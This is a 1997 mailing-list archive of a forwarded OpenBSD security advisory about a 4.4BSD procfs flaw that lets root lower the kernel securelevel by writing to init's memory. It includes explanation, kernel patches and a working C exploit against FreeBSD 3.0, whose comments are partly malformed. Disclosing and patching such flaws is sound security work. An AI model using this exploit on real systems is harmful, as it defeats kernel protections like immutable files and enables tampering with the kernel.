Date: Wed, 25 Jun 1997 16:22:01 +1000 (EST) From: Darren Reed <avalon@coombs.anu.edu.au> To: security@freebsd.org, hackers@freebsd.org Subject: [ADVISORY] 4.4BSD Securelevels (fwd) Message-ID: <199706250629.XAA04410@hub.freebsd.org>
next in thread | raw e-mail | index | archive | help
In some mail from Thomas H. Ptacek, sie said: > From owner-bugtraq@NETSPACE.ORG Wed Jun 25 15:04:04 EST 1997 > Approved-By: aleph1@UNDERGROUND.ORG > X-Mailer: ELM [version 2.4 PL24 ME8a] > Content-Type: text > Message-Id: <199706242349.SAA15385@enteract.com> > Date: Tue, 24 Jun 1997 18:49:44 -0500 > Reply-To: tqbf@enteract.com > Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG> > From: "Thomas H. Ptacek" <tqbf@enteract.com> > Subject: [ADVISORY] 4.4BSD Securelevels > To: BUGTRAQ@NETSPACE.ORG > > ---------------------------------------------------------------------------- > > OpenBSD Security Advisory > > June 24, 1997 > > Vulnerability in 4.4BSD procfs > > ---------------------------------------------------------------------------- > > SYNOPSIS > > A vulnerability in the 4.4BSD process filesystem allows arbitrary > processes to lower the system securelevel, subverting security measures > that rely on this setting. This problem can affects the filesystem > "immutable" flag, and may allow intruders to modify the running kernel. > > ---------------------------------------------------------------------------- > > AFFECTED SYSTEMS > > It is believed that all 4.4BSD operating systems are currently vulnerable > to this problem. A lack of BSDI source code prevents us from verifying > it's applicability to that operating system. > > Systems known to be currently vulnerable include: > > OpenBSD 2.0 and OpenBSD 2.1 (the OpenBSD project has resolved this > problem in OpenBSD-current). > > All currently available versions of FreeBSD (the FreeBSD project has > resolved this problem in FreeBSD-current). > > All currently available versions of NetBSD. > > ---------------------------------------------------------------------------- > > DETAILS > > Certain security measures in the 4.4BSD kernel rely on a variable called > the "securelevel", which is intended to allow the system to run with > heightened security after initializations that may require extra > flexibility. Mechanisms that rely on the securelevel are inactive until > the securelevel is raised to a nonzero value. > > The securelevels system relies on the fact that no user on the system, > including the superuser, can lower the variable after it has been raised. > This allows securelevels to be used to implement protections in the kernel > against a compromised superuser account. A commonly-used example is > the filesystem "immutable" flag, which prevents flagged files from being > modified by anyone on the system, including the superuser. > > The process of transitioning the system into single-user mode from > multi-user mode involves several functions that require enhanced access > to system internals. Because of this, the "init" process has the exclusive > ability to decrease the system securelevel to facilitate this process. In > recognition of this, in-kernel process-level debugging utilities, such as > the ptrace() system call, do not function on the "init" process. > > The 4.4BSD process filesystem presents a filesystem perspective to the > process table. Process information tools such as "ps" can read the process > filesystem information as directories and files, instead of digging > through kernel memory directly. Additionally, process debugging tools can > use procfs to modify running processes. Like ptrace(), the procfs code has > recently been modified to prevent the subversion of the running init > process. > > Unfortunately, a vulnerability in the procfs code remains which allows a > user with superuser credentials to modify the running init process and > force it to reduce the system securelevel. Although the "attach" command, > which is the procfs equivalent to the "attach" interface provided by > ptrace(), is disallowed on the init process, write access to the virtual > memory of the init process remains enabled. Modification to the running > init process image can be used to subvert the process. > > ---------------------------------------------------------------------------- > > TECHNICAL INFORMATION > > The 4.4BSD process filesystem describes each process with a series of > files, including "status", which provides the process status, "regs", > which details the register set of the process, "mem", which provides > access to the memory image of the process, and "ctl", which provides an > interface to process control. The procfs vulnerability described in this > advisory exploits the "mem" process description file. > > By opening the "mem" file of the running init process up in a write mode, > the virtual memory image of the init process can be modified. This access > can be used to alter the executable code of the running process in it's > text segment. > > This can easily be exploited to reduce the securelevel of the system by > altering code in init that already involves modification of the > securelevel. One place where this occurs is within the "multi_user()" > routine, which sets the securelevel to "1" upon entry (expressing the > default behavior of running with securelevels enabled after initializing > the system). > > The relevant code is: > > if(getsecuritylevel() == 0) > setsecuritylevel(1); > > By excercising write access to the text of the init process, that code can > be altered to set the securelevel to 0 by modifying two bytes of > executable code - one two cause the "if" conditional to evaluate true > after the system has entered multi-user mode, and one to alter the value > passed to "setsecuritylevel" from "1" to "0", affecting a reduction in > the system securelevel. > > The newly modified code now reads: > > if(getsecuritylevel() != 0) > setsecuritylevel(0); > > The init program is a finite state machine driven by function pointers. > The program can be forced to call multi_user() by setting a function > pointer (using the "mem" file again) to the address of this routine. The > next time "init" changes state, it will call multi_user() and reduce the > securelevel. > > ---------------------------------------------------------------------------- > > RESOLUTION > > Two immediate fixes are available to this problem. The first resolves the > specific problem presented by the procfs interface, and the second > prevents "init" from being able to lower the securelevel at all, resolving > the more general problem presented by making "init" a target for > compromising the kernel. > > A workaround to the problem is simply to disable the procfs filesystem in > your kernel binary, by not specifying it in the kernel config file, > reconfiguring the kernel, rebuilding it, and rebooting off the new kernel. > This will reduce the functionality of process debugging tools. > > The procfs fix involves a modification to sys/miscfs/procfs_subr.c, which > implements the procfs_write() vnode interface. By causing the procfs_rw() > routine to fail when the affected process ID is "1", "init" is now > safeguarded against modification from the process filesystem. > > An OpenBSD fix to the problem is provided at the end of this document. > > The "init" securelevel fix involves a modification to sys/kern/kern_mib.c, > where the "sysctl" interface to the "securelevel" variable is implemented. > By causing this interface to fail at all times when the request attempts > to reduce the securelevel, "init" is prevented from compromising the > system. > > The latter fix may reduce functionality on the system and is not > recommended for installations that require the ability to perform > extensive single-user mode operations after bringing the system into > single-user mode. > > An OpenBSD fix to the problem is provided at the end of this document. > > ---------------------------------------------------------------------------- > > CREDITS > > The OpenBSD development team would like to express it's gratitude to Alex > Nash, for alerting us to this problem, as well as for providing the > FreeBSD patch; to Theo de Raadt, for providing the OpenBSD procfs patch; > and to Tim Newsham, for providing proof-of-concept code. > > The developers at OpenBSD would also like to indicate their appreciation > of FreeBSD's rapid resolution of this problem. > > ---------------------------------------------------------------------------- > > OPENBSD PATCHES > > To prevent the process filesystem from enabling the superuser to modify > the running init image, apply the following patch to your OpenBSD kernel. > > ----- cut here ----- > > *** sys/miscfs/procfs/procfs_subr.c Tue Jun 24 15:56:02 1997 > --- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997 > *************** > *** 1,3 **** > ! /* $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */ > /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ > > --- 1,3 ---- > ! /* $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */ > /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ > > *************** > *** 222,225 **** > --- 222,228 ---- > if (p == 0) > return (EINVAL); > + /* Do not permit games to be played with init(8) */ > + if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE) > + return (EPERM); > > switch (pfs->pfs_type) { > > ----- cut here ----- > > To prevent "init" from being able to decrease the system securelevel, > apply the following patch to your OpenBSD kernel. > > ----- cut here ----- > > *** kern_sysctl.c.orig Tue Jun 24 17:28:52 1997 > --- kern_sysctl.c Tue Jun 24 17:29:37 1997 > *************** > *** 238,242 **** > return (error); > if ((securelevel > 0 || level < -1) > ! && level < securelevel && p->p_pid != 1) > return (EPERM); > securelevel = level; > --- 238,242 ---- > return (error); > if ((securelevel > 0 || level < -1) > ! && level < securelevel) > return (EPERM); > securelevel = level; > > ----- cut here ----- > > ---------------------------------------------------------------------------- > > DEMONSTRATION CODE > > The following code will compile and run on any 4.4BSD system. However, it > relies on offsets into the memory image of the init process that may > change from OS to OS, and from compilation to compilation. Attempting to > run this program on an operating system other than the one for which it > was intended will corrupt the text of the init process, and probably cause > your system to crash. Use caution when attempting to use this program to > assess your vulnerability. > > After successfully running the program, the next init state transition > will result in the system securelevel being reduced to "0". > > The offsets in this program were gained from using "gdb" on a > newly-compiled "init" binary with an intact symbol table. The address of > the "multi_user()" function is available with: > > % info address multi_user > > The address of the "requested_transition" function pointer is available > with: > > % info address requested_transition > > The address of the two modified instruction within that binary (the JE > instruction that causes the multi_user() conditional to fail, and the > argument to the PUSH instruction which indicates the new securelevel > setting) are available with: > > % disassemble multi_user > > ----- cut here ----- > > /* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */ > > #include <stdio.h> > #include <fcntl.h> > #include <errno.h> > > /* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets > * will cause your system to crash. > */ > > /* offset to the beginning of the multi_user() routine */ > * OpenBSD: 0x2eb4 > */ > > #define MULTI_USER_ROUTINE 0x27f8 > > /* offset of the JNE instruction in multi_user() */ > * OpenBSD: 0x2eb4 + 21 > */ > > #define EVALUATE_TRUE (0x27f8 + 21) > > /* offset of the argument to the PUSH instruction */ > * OpenBSD: 0x2eb4 + 24 > */ > > #define SET_TO_ZERO (0x27f8 + 24) > > /* offset of the "requested_transition" variable */ > * OpenBSD: 0x290b8 > */ > > #define TRANSITION_TO_MULTI_USER 0x2f0a0 > > #define INIT_MEMORY_FILE "/proc/1/mem" > > /* invariant */ > > #define JNE 0x74 > > extern int errno; > > int main(int argc, char **argv) { > int init_mem; > char c; > int i; > > /* access init's virtual memory image */ > > init_mem = open(INIT_MEMORY_FILE, O_RDWR); > if(init_mem < 0) { > perror("open"); > exit(errno); > } > > c = JNE; > > /* change == to != (JE to JNE) */ > > lseek(init_mem, EVALUATE_TRUE, SEEK_SET); > write(init_mem, &c, 1); > > c = 0x0; > > /* change 1 to 0 */ > > lseek(init_mem, SET_TO_ZERO, SEEK_SET); > write(init_mem, &c, 1); > > /* change next state transition to multi_user */ > > i = MULTI_USER_ROUTINE; > lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET); > write(init_mem, &i, 4); > > close(init_mem); > > /* force an init state transition */ > > if(!fork()) > exit(0) > > usleep(10000); > > exit(0); > } > > ----- cut here ----- > > ---------------------------------------------------------------------------- >
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199706250629.XAA04410>